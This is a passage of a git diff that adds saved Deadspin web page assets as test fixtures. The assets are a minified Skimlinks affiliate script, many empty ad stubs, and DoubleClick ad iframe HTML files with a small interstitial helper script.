+c;c=e.childNodes[0];s(c,"mousedown",u);a.appendChild(c)}return!0};Pa=function(){"undefined"!==typeof skimwords&&null!==skimwords&&!P?skimwords():na();return!0};ya=function(){var a,b,c,d,g,f,h,i;g=S();c=[];d={};for(h=0,i=g.length;h<i;h++)a=g[h],b=O(a.hostname),f=aa(a.href),a=j(a,"rel"),ja(f,b)&&T(a)&&b&&!d[b]&&(c.push(b),d[b]=!0);return c};qa=function(){var a;ua();ba?"undefined"!==typeof skimwords&&null!==skimwords&&!P?skimwords():na():(a=ya(),a=i('{"pubcode":"'+C+'","domains":'+x(a)+"}") [...]
+(o?"&dnt="+o:"")+(B?"&fdnt=1":"")+(pa?"&call=toolbar":"")+"&data="+a,L(a));return!0};n=function(){if(K)return!1;K=!0;qa();return!0};Ra=function(a,b){var c,e;e=a.style.cssText;e+=" ";if(d.link_background)c=d.link_background,-1===c.indexOf("#")&&(c="#"+c),e+="background-color: "+c+" !important; ";if(null!=d.link_tooltip)a.title=d.link_tooltip;if(b){if(d.skimwords_color)c=d.skimwords_color,-1===c.indexOf("#")&&(c="#"+c),e+="color: "+c+" !important; ";d.skimwords_weight&&(e+="font-weight: "+ [...]
+" !important; ");if(d.skimwords_decoration)c=d.skimwords_decoration,e="double"===c?e+"border-bottom: 1px double !important; ":e+("text-decoration: "+c+" !important; ");if(d.skimwords_style)c=d.skimwords_style,e+="text-style: "+c+"; ";if(d.skimwords_link_style)c=d.skimwords_link_style,e+=c+"; ";c=" "+a.className;if(d.skimwords_link_class)c+=" "+d.skimwords_link_class,a.className=c.substring(1);if(d.skimwords_title&&null===a.getAttribute("title"))a.title=d.skimwords_title;if(null===a.getAt [...]
+"Shopping link added by SkimWords"}a.style.cssText=e;return!0};Oa=function(){return function(){var a,b,c;b=function(){if(K)return!0;try{document.documentElement.doScroll("left")}catch(a){return setTimeout(b,50),!1}return n()};a=function(){return document.addEventListener?function(){document.removeEventListener("DOMContentLoaded",a,!1);n();return!0}:document.attachEvent?function(){document.detachEvent("onreadystatechange",a);n();return!0}:function(){n();return!0}}();if("complete"===docume [...]
+1);else if(document.addEventListener)document.addEventListener("DOMContentLoaded",a,!1),d.addEventListener("load",n,!1);else if(document.attachEvent){document.attachEvent("onreadystatechange",a);d.attachEvent("onload",n);c=!1;try{c=null===d.frameElement}catch(e){}document.documentElement.doScroll&&c&&b()}return!0}}();d.skimlinksApplyHandlers=function(a){var b,a=null!=a?a:{};null!=d.skimlinks_runner&&(d.skimlinks_runner.skimlinks=1);b=S();ga=a.merchant_domains;a.guid&&""===y&&(y=a.guid);w [...]
+w.length;Pa();return!0};d.mugicPopWin=u;d.mugicRight=u;d.skimlinksReload=function(){K=!1;n();return!0};d.skimlink_legacy_support||(d.skimlinks=qa);Oa()})();
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;hints=mantiteo;segment=intender;origin=deadspin;sz=640x360;ord=70631643 b/src/test/resources/s/deadspin_files/;loggedin=no;hints=mantiteo;segment=intender;origin=deadspin;sz=640x360;ord=70631643
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;hints=mantiteo;segment=intender;origin=deadspin;sz=640x360;ord=70631643
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643 b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(1) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(1)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(1)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(10) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(10)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(10)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(11) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(11)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(11)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(2) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(2)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(2)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(3) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(3)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(3)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(4) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(4)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(4)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(5) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(5)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(5)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(6) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(6)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(6)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(7) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(7)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(7)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(8) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(8)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(8)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(9) b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(9)
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;loggedin=no;sz=80x45;ord=70631643(9)
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;slot=marquee;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=2x1;ord=70631643 b/src/test/resources/s/deadspin_files/;slot=marquee;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=2x1;ord=70631643
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;slot=marquee;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=2x1;ord=70631643
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;slot=rightbar;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=300x250;ord=70631643 b/src/test/resources/s/deadspin_files/;slot=rightbar;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=300x250;ord=70631643
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;slot=rightbar;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=300x250;ord=70631643
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/;slot=takeover;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=1x1;ord=70631643 b/src/test/resources/s/deadspin_files/;slot=takeover;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=1x1;ord=70631643
new file mode 100644
index 0000000..769034f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/;slot=takeover;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=1x1;ord=70631643
@@ -0,0 +1 @@
+document.write('');
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/a62ec163c8 b/src/test/resources/s/deadspin_files/a62ec163c8
new file mode 100644
index 0000000..ec11ecf
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/a62ec163c8
@@ -0,0 +1 @@
+NREUM.setToken(null)
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(1).htm b/src/test/resources/s/deadspin_files/ad_iframe(1).htm
new file mode 100644
index 0000000..14d88ce
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(1).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0230)http://deadspin.com/static/ad_iframe.html#18223407|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fduan%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D2%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(1)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(10).htm b/src/test/resources/s/deadspin_files/ad_iframe(10).htm
new file mode 100644
index 0000000..dc5bd06
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(10).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0229)http://deadspin.com/static/ad_iframe.html#60580797|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fnfl%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D7%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(4)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(11).htm b/src/test/resources/s/deadspin_files/ad_iframe(11).htm
new file mode 100644
index 0000000..390c671
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(11).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0240)http://deadspin.com/static/ad_iframe.html#60846940|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fhighlightreel%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D23%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(8)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(12).htm b/src/test/resources/s/deadspin_files/ad_iframe(12).htm
new file mode 100644
index 0000000..1ec93a6
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(12).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0232)http://deadspin.com/static/ad_iframe.html#63810378|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fmovies%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D6%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(3)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(13).htm b/src/test/resources/s/deadspin_files/ad_iframe(13).htm
new file mode 100644
index 0000000..fc5a2bd
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(13).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0242)http://deadspin.com/static/ad_iframe.html#73583910|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fcollegefootball%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D22%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(7)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(14).htm b/src/test/resources/s/deadspin_files/ad_iframe(14).htm
new file mode 100644
index 0000000..a63c29f
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(14).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0244)http://deadspin.com/static/ad_iframe.html#75469447|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fthedailyscreencap%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D28%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(10)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(15).htm b/src/test/resources/s/deadspin_files/ad_iframe(15).htm
new file mode 100644
index 0000000..0449c08
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(15).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0313)http://deadspin.com/static/ad_iframe.html#91447176|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Ffront%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bslot%3Drightbar%3Bloggedin%3Dno%3Bhints%3Dnosuchdame%3Bsegment%3Dintender%3Borigin%3Ddeadspin%3Bsz%3D300x250%3Bord%3D70631643%3Btile%3D1%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";slot=rightbar;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=300x250;ord=70631643"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(2).htm b/src/test/resources/s/deadspin_files/ad_iframe(2).htm
new file mode 100644
index 0000000..dab7367
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(2).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0293)http://deadspin.com/static/ad_iframe.html#18950562|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Ffront%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bhints%3Dmantiteo%3Bsegment%3Dintender%3Borigin%3Ddeadspin%3Bsz%3D640x360%3Bord%3D70631643%3Btile%3D5%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;hints=mantiteo;segment=intender;origin=deadspin;sz=640x360;ord=70631643"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(3).htm b/src/test/resources/s/deadspin_files/ad_iframe(3).htm
new file mode 100644
index 0000000..cf0f52e
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(3).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0309)http://deadspin.com/static/ad_iframe.html#28732140|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Ffront%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bslot%3Dtakeover%3Bloggedin%3Dno%3Bhints%3Dnosuchdame%3Bsegment%3Dintender%3Borigin%3Ddeadspin%3Bsz%3D1x1%3Bord%3D70631643%3Btile%3D3%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";slot=takeover;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=1x1;ord=70631643"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(4).htm b/src/test/resources/s/deadspin_files/ad_iframe(4).htm
new file mode 100644
index 0000000..dbdfd11
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(4).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0242)http://deadspin.com/static/ad_iframe.html#31378846|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fcollegefootball%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D25%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(9)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(5).htm b/src/test/resources/s/deadspin_files/ad_iframe(5).htm
new file mode 100644
index 0000000..0c7583d
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(5).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0308)http://deadspin.com/static/ad_iframe.html#45527193|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Ffront%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bslot%3Dmarquee%3Bloggedin%3Dno%3Bhints%3Dnosuchdame%3Bsegment%3Dintender%3Borigin%3Ddeadspin%3Bsz%3D2x1%3Bord%3D70631643%3Btile%3D2%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";slot=marquee;loggedin=no;hints=nosuchdame;segment=intender;origin=deadspin;sz=2x1;ord=70631643"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(6).htm b/src/test/resources/s/deadspin_files/ad_iframe(6).htm
new file mode 100644
index 0000000..e86e8bc
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(6).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0230)http://deadspin.com/static/ad_iframe.html#46106749|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fnfl%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D14%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(6)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(7).htm b/src/test/resources/s/deadspin_files/ad_iframe(7).htm
new file mode 100644
index 0000000..004bb7e
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(7).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0248)http://deadspin.com/static/ad_iframe.html#54567811|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fsportsradiointerviews%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D10%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(5)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(8).htm b/src/test/resources/s/deadspin_files/ad_iframe(8).htm
new file mode 100644
index 0000000..4fe6a0e
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(8).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0229)http://deadspin.com/static/ad_iframe.html#55706808|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fnfl%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D5%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(2)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe(9).htm b/src/test/resources/s/deadspin_files/ad_iframe(9).htm
new file mode 100644
index 0000000..b5549bf
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe(9).htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0231)http://deadspin.com/static/ad_iframe.html#59643907|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fduan%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D29%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643(11)"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe.htm b/src/test/resources/s/deadspin_files/ad_iframe.htm
new file mode 100644
index 0000000..b014b2d
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe.htm
@@ -0,0 +1,11 @@
+
+<!-- saved from url=(0229)http://deadspin.com/static/ad_iframe.html#15617254|http%3A%2F%2Fad.doubleclick.net%2FN4246%2Fadj%2Fgm.deadspin%2Fnfl%3B%3BmtfIFPath%3D%2Fassets%2Fvendor%2Fdoubleclick%2F%3Bloggedin%3Dno%3Bsz%3D80x45%3Bord%3D70631643%3Btile%3D1%3F -->
+<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"><!--<base target="_top">--><base href="." target="_top">
+<script src="ad_iframe.js"></script>
+<script>
+var location_parts = window.location.hash.substring(1).split('|');
+var rand = location_parts[0];
+var scriptsrc = decodeURIComponent(location_parts[1]);
+document.write("<scr"+"ipt src='" + scriptsrc + "'></scr"+"ipt>");
+</script><script src=";loggedin=no;sz=80x45;ord=70631643"></script>
+</head><body marginwidth="0" marginheight="0"></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/deadspin_files/ad_iframe.js b/src/test/resources/s/deadspin_files/ad_iframe.js
new file mode 100644
index 0000000..e23525c
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/ad_iframe.js
@@ -0,0 +1,21 @@
+function interstitial_init(runtime, auto_start, auto_finish) {
+ window.parent.interstitial_init(runtime, auto_start, auto_finish);
+}
+function interstitial_start() {
+ window.parent.interstitial_start();
+}
+function interstitial_skippable() {
+ window.parent.interstitial_skippable();
+}
+function interstitial_stop() {
+ window.parent.interstitial_stop();
+}
+function interstitial_finished() {
+ window.parent.interstitial_finished();
+}
+function interstitial_setTimer(runtime) {
+ window.parent.interstitial_setTimer(runtime);
+}
+function interstitial_abort() {
+ window.parent.interstitial_abort();
+}
diff --git a/src/test/resources/s/deadspin_files/all.js b/src/test/resources/s/deadspin_files/all.js
new file mode 100644
index 0000000..e60262e
--- /dev/null
+++ b/src/test/resources/s/deadspin_files/all.js
